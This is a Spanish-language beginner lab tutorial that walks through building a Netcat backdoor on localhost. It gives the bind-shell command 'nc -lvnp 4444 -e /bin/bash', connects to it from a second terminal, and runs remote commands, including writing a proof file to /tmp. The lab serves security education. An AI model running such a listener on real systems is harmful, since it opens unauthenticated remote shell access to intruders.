Crear una Puerta Trasera en Netcat

LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá a crear una puerta trasera (backdoor) básica utilizando Netcat, una utilidad de red versátil. Una puerta trasera es un método para eludir la autenticación normal y obtener acceso remoto a una computadora. Practicará la configuración de un "listener" (escuchador) en una máquina simulada de "víctima" y la conexión a ella desde una máquina simulada de "atacante" para ejecutar comandos de forma remota. Este laboratorio demuestra conceptos fundamentales de redes utilizados en ciberseguridad, proporcionando una visión tanto de técnicas ofensivas como de concienciación defensiva.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 97%. Ha recibido una tasa de reseñas positivas del 100% por parte de los estudiantes.

Comprendiendo Netcat

Netcat (o nc) es una utilidad de línea de comandos para leer y escribir en conexiones de red utilizando TCP o UDP. A menudo se le llama la "navaja suiza para TCP/IP" debido a su versatilidad. En este laboratorio, el script de configuración ya ha instalado una versión de Netcat adecuada para nuestro propósito.

Primero, verifiquemos que Netcat está instalado y veamos su menú de ayuda. Esto nos mostrará las opciones disponibles.

Ejecute el siguiente comando en su terminal:

nc -h

Debería ver una lista de opciones de comandos. La salida se parecerá a esto (las versiones pueden variar):

[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
 -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
 -e filename  program to exec after connect [dangerous!!]
 -b   allow broadcasts
...

Preste mucha atención a las opciones -e y -c. La salida las marca explícitamente como "peligrosas" (dangerous). Esto se debe a que le permiten ejecutar un programa, como un intérprete de comandos (command shell), y conectarlo a un puerto de red. Esta es exactamente la característica que utilizaremos para crear nuestra puerta trasera. Comprender por qué las características de una herramienta se consideran peligrosas es una parte clave del aprendizaje de ciberseguridad.

Creando el Listener de la Puerta Trasera

En este paso, configurará una terminal para que actúe como la máquina "víctima". Esta máquina ejecutará un listener de Netcat que espera una conexión entrante. Cuando se establezca una conexión, otorgará a la persona que se conecte un intérprete de comandos (command shell), creando efectivamente una puerta trasera.

Utilizaremos el puerto 4444 para este ejercicio. Los puertos son puntos finales de comunicación que permiten acceder a diferentes servicios en una máquina a través de una red.

En su terminal actual, ejecute el siguiente comando para iniciar el listener:

nc -lvnp 4444 -e /bin/bash

Analicemos este comando:

  • -l: Pone a Netcat en modo de escucha (listen mode), esperando conexiones entrantes.
  • -v: Habilita el modo detallado (verbose mode), proporcionando más información sobre la conexión.
  • -n: Indica a Netcat que utilice direcciones IP numéricas en lugar de resolver nombres de host, lo que puede ser más rápido.
  • -p 4444: Especifica el puerto en el que escuchar, en este caso, el puerto 4444.
  • -e /bin/bash: Esta es la parte más crítica. Indica a Netcat que ejecute el programa /bin/bash (el intérprete Bash) y conecte su entrada y salida al socket de red tan pronto como un cliente se conecte.

Después de ejecutar el comando, su terminal mostrará un mensaje indicando que está escuchando y luego parecerá quedarse colgada. Esto es normal. Ahora está esperando una conexión.

listening on [any] 4444 ...

No cierre esta terminal. Nos referiremos a ella como la terminal de la víctima. Necesitará abrir una nueva terminal para el siguiente paso.

Conectando a la Puerta Trasera

Ahora jugará el papel del "atacante". Abrirá una nueva terminal y utilizará Netcat para conectarse al listener que inició en el paso anterior. Dado que tanto la "víctima" como el "atacante" están en la misma máquina en este laboratorio, se conectará a la dirección IP del localhost, que es 127.0.0.1.

Primero, abra una nueva terminal. Puede hacerlo haciendo clic derecho en el área de la terminal y seleccionando "Nueva pestaña" (New Tab) o usando el atajo Ctrl+Shift+T. Nos referiremos a esta nueva terminal como la terminal del atacante.

En la nueva terminal del atacante, ejecute el siguiente comando para conectarse al listener:

nc 127.0.0.1 4444

Después de ejecutar este comando, verá un mensaje de conexión en la terminal de la víctima:

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333

(El número de puerto 33333 será un puerto aleatorio de alto número)

Su terminal del atacante ahora tendrá un cursor parpadeante, pero sin un prompt. Esto se debe a que ahora se encuentra dentro del intérprete Bash que se está ejecutando en la terminal de la víctima. Ha establecido con éxito una shell remota. Cualquier comando que escriba aquí se ejecutará en la máquina "víctima".

Ejecutando Comandos Remotos

Ahora tiene una shell remota. Vamos a probarla ejecutando algunos comandos desde la terminal del atacante. Estos comandos se ejecutarán dentro del contexto de la terminal de la víctima.

En la terminal del atacante, escriba el siguiente comando y presione Enter:

whoami

La salida será labex, que es la cuenta de usuario de la shell de la víctima.

labex

Ahora, averigüemos el directorio de trabajo actual de la shell remota:

pwd

La salida mostrará el directorio de inicio del usuario labex.

/home/labex/project

Para demostrar que tiene el control, creemos un archivo en el sistema "víctima". Ejecute este comando en la terminal del atacante:

echo "Backdoor was here" > /tmp/proof.txt

Este comando crea un archivo llamado proof.txt en el directorio /tmp con algún texto dentro. No verá ninguna salida.

Ahora, verifiquemos que el archivo se creó. En la terminal del atacante, lea el contenido del archivo:

cat /tmp/proof.txt

Debería ver el texto que acaba de escribir:

Backdoor was here

Ejecución remota de comandos exitosa

Ha ejecutado comandos de forma remota y ha modificado el sistema de archivos de la víctima con éxito. Para finalizar la sesión, puede presionar Ctrl+C en la terminal del atacante. Esto cerrará la conexión y el proceso del listener de Netcat en la terminal de la víctima también terminará.

Resumen

En este laboratorio, ha aprendido a crear e interactuar con una puerta trasera simple utilizando Netcat. Practicó la configuración de un listener en una máquina "víctima" utilizando las opciones -l, -p y -e para servir una shell de comandos. Luego actuó como un "atacante" conectándose a este listener desde otra terminal y ejecutando comandos de forma remota.

Este ejercicio demuestra una capacidad potente, aunque peligrosa, de Netcat. Comprender cómo se pueden utilizar estas herramientas para el acceso no autorizado es una habilidad fundamental en ciberseguridad, que le ayuda a reconocer, prevenir y defenderse mejor contra ataques similares en el mundo real.